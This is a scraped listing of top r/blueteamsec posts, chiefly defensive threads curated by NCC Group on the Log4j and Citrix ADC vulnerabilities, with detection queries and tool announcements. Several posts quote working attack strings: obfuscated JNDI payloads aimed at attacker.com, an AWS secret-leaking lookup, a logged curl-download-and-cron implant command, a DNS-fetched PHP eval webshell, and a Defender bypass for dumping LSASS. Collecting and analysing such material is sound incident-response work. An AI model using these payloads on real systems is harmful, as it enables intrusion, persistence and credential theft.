r/blueteamsec • • Dec 10 '21

exploitation (what's being exploited) Log4j 0day being exploited

518 Upvotes

Updated: December 17th 07:10 UTC

Curated by: NCC Group - https://www.nccgroup.com/

Updates / Fixes: Comment below or ping on Twitter https://twitter.com/ollieatnccgroup

For latest: search for *new in last update* for latest updates

Headlines

Log4j2 open source logging framework for Java is subject to a vulnerability which means untrusted input can result via LDAP, RMI and other JNDI endpoints in the loading and executing of arbitrary code from an untrusted source.

Cloudflare are saying they first saw exploitation on:

2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed but some time after it was disclosed to Apache.

src: https://twitter.com/eastdakota/status/1469800951351427073

Details:

Description:

Apache Log4j2 < 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.16.0, this behavior has been disabled by default and you should upgrade to at least 2.16.0 due to a second CVE-2021-45046

Mitigations:

For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookupclass from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note: for *any* version you can delete the JndiLookup.class

Note: Hosts running on JDKs versions higher than 6u141, 7u131, 8u121 will be protected against the LDAP class loading vector BUT NOT the deserialisation vector. This is because com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load remote codebase using LDAP. But we must stress deserialisation and variable leaks are still possible.

Recommendations:

  1. Identify vulnerable software / devices via.

    1. asset inventories.

    2. software bill of material manifests.

    3. software build pipeline dependency manifests (e.g. Maven etc.)

    4. vendor bulletins (see below).

    5. file system discovery (see below) on Windows / Linux to identify class files.

    6. log file analytics to identify log4j like entries.

    7. exploitation (see below).

  2. Software developers should

    1. Ensure they strictly enforce via Gradle and similarly non vulnerable versions of log4j to mitigate transient dependencies

    2. Ensure they catch dependencies such as AWS lambda-java-log4j2 - which will need upgrading and redeployment to mitigate - https://aws.amazon.com/security/security-bulletins/AWS-2021-005/

    3. Example Maven enforcer rule - https://gist.github.com/gunnarmorling/8026d004776313ebfc65674202134e6d

  3. Patch vulnerable software for which patches are available (see vendor bulletins).

    1. Hot patch also exists (see below)

  4. Limit network egress from hosts where vulnerable software exists when possible.

  5. Mitigate through configuration changes.

  6. Ensure protective monitoring via (note: expect extensive scanning)

    1. Network for remote class loading

    2. On host for remote class loading

    3. On host for unexpected command execution

This advice along with a consolidation of this thread as of 7:30 UTC on December 12th was posted out to the Bluepurple substack - https://bluepurple.substack.com/p/bluepurple-pulse-log4j2-log4shell

Update / Patch:

NCC Group produced a hot patch here - " A Byte Buddy Java agent-based fix for CVE-2021-44228, the log4j 2.x "JNDI LDAP" vulnerability. "

A third party hot patch has also been produced - a simple tool which injects a Java agent into a running JVM process. The agent will patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup()"

Vendor Advisories for products affected by log4j issues:

Vulnerability Detection:

Exploitation Detection:

Exploits and Bypasses:

More complex exploitation / bypasses to test detection and remediation against:

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

It is possible to expand variable to elicit information from an exploited host:

https://github.com/jas502n/Log4j2-CVE-2021-44228

src: https://twitter.com/jas502n/status/1469719096627720192?t=YaOb1Qcd3t3dMe-l1jTT7Q&s=09

Others include:

src: https://twitter.com/Rayhan0x01/status/1469571563674505217?s=20

This can include AWS secrets

${env:AWS_SECRET_ACCESS_KEY}

src: https://twitter.com/Dinosn/status/1469798474816364548

Indirect exploitation of internal network resources via user browsers - https://blog.olliejc.uk/2021/12/12/log4shell-could-be-exploited-from-your-network/

The original class of vulnerability was disclosed and discussed in 2016 at Blackhat:

Mitigation:

Other than patches it is possible to mitigate through configuration change as mentioned above.

Stripe tooling:

For AWS WAF and CloudFront (be mindful of bypasses):

Finding vulnerable hosts and cide:

CodeQL queries: *new in last update*

.class and .jar recursive hunter

JAR file hashes

Class file hashes (2.15.0 is not vulnerable but included)

JAR and Class hashes

Go vulnerability scanner using .class hashes

CERT Scanner for JAR, WAS and EAR

PowerShell

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

a highly parallel PowerShell from u/omrsafetyo:

Linux

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

A set of YARA rules for detecting versions of log4j which are vulnerable to CVE-2021-44228 by looking for the signature of JndiManager prior to 2.15.0.

Log4Shell uber regex

Log4j detector

Using Canary tokens to detect susceptibility

Burp Web App Scanner:

Online reflective vulnerability tester:

NMAP NSE:

Attack surface

Known vulnerable services / products which use log4j

In the wild exploitation:

"CrowdStrike has identified exploitation of log4j vulnerability by threat actors that more closely resembles targeted intrusion consistent with advanced attackers, such as deploying web shells and conducting lateral movement. "

Ransomare usage: *new in last update*

Active Exploitation of Mobile Iron:

De serialization / searalized payload caught in the wild:

Ransomware campaign analysis:

Real time streams from honeypots:

Examples of malicious payloads / second stages etc:

Attacking IP Address IoCs:

Various IoCs:

Other exploitation discussions:

Third Party Advice and Analysis:

National Advisories:

Honeypots:

Exploit to protect hosts:

This exploit will change the configuration to make an application invulnerable.

Other notes:

FetchPayload.py (Get java payload from ldap path provided in JNDI lookup).

Log4 1.2 is reported as suffering a similar issue when using JMSAppender :

Ghidra was vulnerable:

Exploit for Ghidra example malicious ELF:


r/blueteamsec • • Nov 03 '22

highlevel (not technical) Cyber is hard

Post image
255 Upvotes

r/blueteamsec • • Jan 11 '20

exploitation Multiple Exploits for CVE-2019-19781 (Citrix ADC/Netscaler) released overnight - prepare for mass exploitation

207 Upvotes

Last update: January 20 - 07:01 UTC/GMT

Patches Now Out for Some

Updates to 11.1 (11.1 63.15) and 12.0 (12.0 63.13) are now up

Citrix blog post: Vulnerability Update: First permanent fixes available, timeline accelerated

ADC version 12.0: https://www.citrix.com/downloads/citrix-adc/firmware/release-120-build-6313.html

ADC version 11.1: https://www.citrix.com/downloads/citrix-adc/firmware/release-111-build-6315.html

Important

Citrix issued revised updates today

Fox-IT issued an analysis

Impact / Root Cause

remote pre-auth arbitrary command execution due to logic vuln i.e. reliable execution possible.

Products affected

  • Citrix ADC and Citrix Gateway version 13.0 all supported builds

  • Citrix ADC and NetScaler Gateway version 12.1 all supported builds

  • Citrix ADC and NetScaler Gateway version 12.0 all supported builds

  • Citrix ADC and NetScaler Gateway version 11.1 all supported builds

  • Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

Amazon Web Services - https://twitter.com/KevTheHermit/status/1216318333219491840

At midday on January 12th Citrix Netscaler AMIs on AWS are default vulnerable out of the box. The root password is set to the instance ID; that can be read from the metadata URL. You can also "cat /flash/nsconfig/.AWS/instance-id".

Background on the vulnerability

Sigma rules

Snort rules

Snort/Suricata rules

  • Present since December 29th - 2029206 - ET EXPLOIT Possible Citrix Application Delivery Controller Arbitrary Code Execution Attempt (CVE-2019-19781) (exploit.rules) in the EmergingThreats

Exploitation Forensic Artifacts

ssh -t [address] 'grep -r "/../vpns" /var/log/http*' 

Vendor mitigation

Citrix have now (8pm UTC Jan 11) published when they expect patched builds to be available - from https://support.citrix.com/article/CTX267027 - some are saying patches are available already to large clients

  • 10.510.5.70.x 31st January 2020

  • 11.111.1.63.x 20th January 2020

  • 12.012.0.63.x 20th January 2020

  • 12.112.1.55.x 27th January 2020

  • 13.013.0.47.x 27th January 2020

Citrix blog by their CISO - https://www.citrix.com/blogs/2020/01/11/citrix-provides-update-on-citrix-adc-citrix-gateway-vulnerability/

3rd party mitigation steps / advice

Details on how to exploit

Checkers

Commercial Checkers

Exploits

Post Exploitation

Vulnerability Intelligence

Honeypot

Exploitation Intelligence

Doozer Exploitation Intelligence

https://twitter.com/michel228/status/1216771783656910849

Found this in the logs:

curl http://NN.NN.NN.NN:8081/2a9c665438cd0c8a9c4a25b2a6e0885f -o /tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * * /var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"   

Payload dropped hash (SHA256): 177c3d8389c71065c2ff2e74ab190486ade95869f6655a1e544f5ee41334517e

This is a 2MB implant written in Go - uses AES, persistence via Cron etc.

u/undermyne Exploitation Intelligence

I just spent a few hours cleaning up an exploited VPX for a customer. As observed below, the ns.conf was compromised (copied and I assume the copy was grabbed). The passwd file was also taken (nothing of import in that one) and the personalbookmark.pl file was modified. Following cleanup there were 5 active processes running under nobody and one of them would automatically restart. To be safe I reverted to a backup from prior to the exploit being released. Patched and returned to service and all is well. If the bind logs indicate that a file was deleted you can find the deleted file in the /var/tmp/netscaler/portal/templates directory (or other relevant tmp folders). The XML files are your best bet at trying to figure out what was attempted. Thankfully the 9 attempts on the one I just fixed looked like they were basically trying to sort out what they could and couldn't do. Start with the httpaccess log, then use time stamps to search bind logs, and then see what was done with the xml.ttc2 files in the tmp folders.

NCC Group/Fox-IT Exploitation Intelligence

POST /vpn/../vpns/portal/scripts/newbm.pl GET/vpn/../vpns/portal/XIaoLBFveLyvUfUGiWAwElIJNERhpmrBM.xml 
  • Actor 2 observed January 13 around 15:30 UTC (not clear if someone is trolling)

./var/tmp/netscaler/portal/templates/REDACTED.xml.ttc2:    $output .=  $stash->get(['template', 0, 'new', [ { 'BLOCK' => 'exec(\'dig cmd.irannetworkteam.org txt|tee /var/vpn/themes/login.php | tee /netscaler/portal/templates/REDACTED.xml\');'  } ]]); 

for the domain

Domain Name: IRANNETWORKTEAM.ORG Registry Domain ID: D402200000012341868-LROR Registrar WHOIS Server: whois.namesilo.com Registrar URL: www.namesilo.com Updated Date: 2020-01-11T14:17:00Z Creation Date: 2020-01-11T13:46:37Z 

the TXT record for the domain currently returns

> set querytype=TXT > cmd.IRANNETWORKTEAM.ORG Non-authoritative answer: cmd.IRANNETWORKTEAM.ORG text =         "<?php @eval(base64_decode(strrev(@$_POST[REDACTED])));?>" 

So

  • pull first stage from DNS TXT field

  • uploads second/dynamic stage via POST in specific variable

This post is curated by the team at NCC Group/Fox-IT - https://www.nccgroup.trust/


r/blueteamsec • • Dec 21 '23

intelligence (threat actors) Understanding The Workings of Russian Hacker "Wazawaka"

Thumbnail 25491742.fs1.hubspotusercontent-eu1.net
162 Upvotes

r/blueteamsec • • Oct 24 '22

tradecraft (how we defend) Microsoft Technical Takeoff session on the new LAPS

154 Upvotes

Hi folks,

I'm an engineer at Microsoft working on the new version of Local Administrator Password Solution (LAPS). I wanted to mention that there is a Microsoft Technical Takeoff session this Wednesday (10/26) that is focused on the new LAPS:

https://aka.ms/TT/ManagePasswords

The session will mainly be a short deepdive on the changes and features that are coming, along with a live Q&A session. If you are unable to listen in live, the main session will be recorded for later viewing. Hopefully some of you will find this session interesting.

thanks,

Jay Simmons

EDIT: here is the main link to the broader Microsoft Technical Takeoff event:

Join the Microsoft Technical Takeoff - October 24-27, 2022

Be sure to checkout the other sessions too!


r/blueteamsec • • Aug 09 '20

intelligence [Tool] Intel Owl, free and open source threat intelligence solution

151 Upvotes

Intel Owl is an Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale. It integrates a number of analyzers available online (and inbuilt) and is for everyone who needs a single point to query for info about a specific file or observable.

For example, one could basically query for a particular IP address and get data from ~30 analyzers/services (like shodan, VirusTotal, honeydb, hunter.io etc) with just a few clicks. (you can select which analyzers to execute via a dropdown list.)

GitHub: https://github.com/intelowlproject/IntelOwl

GIF Gallery: https://imgur.com/a/wefbHW0

Blogpost on main features: https://www.honeynet.org/2020/07/05/intel-owl-release-v1-0-0/

Here's a TL;DR of installation to get it running in 10 minutes. https://gist.github.com/ninoseki/83d65b020c86f67f822eb50c56756201

We are actively working on new features especially new analyzers. So if you or your organization has a free or even paid tool/service, create an issue on the GH repo and we will look into it!


r/blueteamsec • • Dec 25 '21

Merry Christmas Cyber Defenders - 🎄🎅🤶🧑‍🎄🎁

149 Upvotes

Hi Everyone,

Just a quick note to wish you all a Merry Christmas.

For those working today defending the various realms or responding to incidents we are with you in spirit.

Ollie


r/blueteamsec • • Apr 02 '22

highlevel (not technical) Ooooof

Post image
146 Upvotes

r/blueteamsec • • Sep 23 '24 Helpful

low level tools and techniques (work aids) Periodic Table of Windows Events

Post image
134 Upvotes

r/blueteamsec • • Dec 28 '21

training (step-by-step) Microsoft publishes lateral movement playbook

Thumbnail
docs.microsoft.com
133 Upvotes

r/blueteamsec • • Nov 22 '21

highlevel (not technical) Godaddy hacked - including admin passwords for both WordPress sites hosted on the platform, as well as passwords for sFTPs, databases and SSL private keys.

Thumbnail sec.gov
133 Upvotes

r/blueteamsec • • Nov 16 '21

research|capability (we need to defend against) If you rename procdump.exe to dump64.exe and place it in the "C:\Program Files (x86)\Microsoft Visual Studio\*" folder, you can bypass Defender and dump LSASS.

Thumbnail
twitter.com
132 Upvotes

r/blueteamsec • • Jun 07 '25

highlevel summary|strategy (maybe technical) Fact Sheet: President Donald J. Trump Reprioritizes Cybersecurity Efforts to Protect America

Thumbnail
whitehouse.gov
124 Upvotes

r/blueteamsec • • May 31 '24

malware analysis (like butterfly collections) Linux rootkits explained – Part 1: Dynamic linker hijacking, Part 2: Loadable kernel modules

124 Upvotes

r/blueteamsec • • Jun 06 '26 Bravo

discovery (how we find bad stuff) CrowdStrike LogScale queries I use to detect LOLBin- built from 10 years of production SOC work

119 Upvotes

After a decade in SOC I got tired of watching analysts waste 45 minutes on certutil.exe that turned out to be legitimate or worse, closing LOLBin executions as false positives when they weren't.

Here are the queries I actually run:

LogScale  LOLBin Detection:

#event_simpleName=ProcessRollup2

ImageFileName=/\/(certutil|mshta|wscript|cscript|regsvr32|rundll32|msiexec)\.exe$/i

| where CommandLine!="" AND ParentBaseFileName!=/explorer|services|svchost|msiexec/i

| table  ComputerName UserName ImageFileName CommandLine ParentBaseFileName

| "sort"  desc

What to flag immediately:

  • certutil with -urlcache -f http:// — downloading from external URLs is never legitimate

  • mshta calling a remote URL — live payload execution, isolate before investigating

  • regsvr32 with /i:http:// scrobj.dll — Squiblydoo bypass, sophisticated attacker

Benign parents that cause most false positives: taniumclient.exe, ccmexec.exe, devenv.exe — filter these out first or you'll chase noise all day.

Happy to share the Splunk and Sentinel KQL equivalents if useful.


r/blueteamsec • • Jan 02 '21

tradecraft (how we defend) Defences against Cobalt Strike

Thumbnail
github.com
113 Upvotes

r/blueteamsec • • Jul 31 '22

highlevel (not technical) The SSO Wall of Shame | A list of vendors that treat single sign-on as a luxury feature, not a core security requirement.

Thumbnail robchahin.github.io
112 Upvotes

r/blueteamsec • • Oct 13 '22

tradecraft (how we defend) Microsoft recommend Sysmon and EDR

Post image
110 Upvotes

r/blueteamsec • • Jun 18 '21

intelligence (threat actors) Rootkits found - signed by Microsoft

Thumbnail virustotal.com
109 Upvotes

r/blueteamsec • • May 09 '21

tradecraft (how we defend) What EDRs Hook on Microsoft Windows i.e. where the gaps exist in terms of telemetry / detection coverage

Post image
107 Upvotes

r/blueteamsec • • Mar 03 '22

tradecraft (how we defend) Help for Ukraine: Free decryptor for HermeticRansom ransomware

Thumbnail
decoded.avast.io
106 Upvotes

r/blueteamsec • • Jun 13 '25

tradecraft (how we defend) Batteries included collaborative knowledge management solution for Threat intelligence researchers

Thumbnail cradle.sh
102 Upvotes

r/blueteamsec • • Jan 29 '22

highlevel (not technical) Happy Birthday Blueteamsec - we are four years old - 🥳🎂🎉

101 Upvotes

Hey Everyone,

Four years ago we created something. The intent was originally to enable those who didn't have fancy pants threat intelligence feeds or armies of analysts to at least have a fighting chance to stay appraised in the day to day collective resiliency mission.

Over the years whilst we still stay true to that cause we have also expanded to include macro level topics, architectural aspects as well as relevant offensive tradecraft and more.

Four years on and over 23,000 of you have turned up (wow!). The conversations are becoming richer whilst more regular contributors and community builders have piled on in. All of this has been for the betterment of the community and our collective resilience - for that I thank you.

I just wanted to say thanks. Without you, be you a consumer or contributor, we wouldn't have the impact we do each day. When the big events happen (F5, Citrix, Log4j etc.) this community comes into its own and our value spreads beyond our immediate borders and that is pretty awesome.

Anyway have some virtual cake and I hope post the Covid world we might get the opportunity to meet.

Stay classy Blueteam..

Ollie


r/blueteamsec • • Dec 29 '21

tradecraft (how we defend) BadBlood fills a Microsoft Active Directory Domain with a structure and thousands of objects. The output of the tool is a domain similar to a domain in the real world. After BadBlood is ran on a domain, security analysts and engineers can practice using tools...

Thumbnail
github.com
100 Upvotes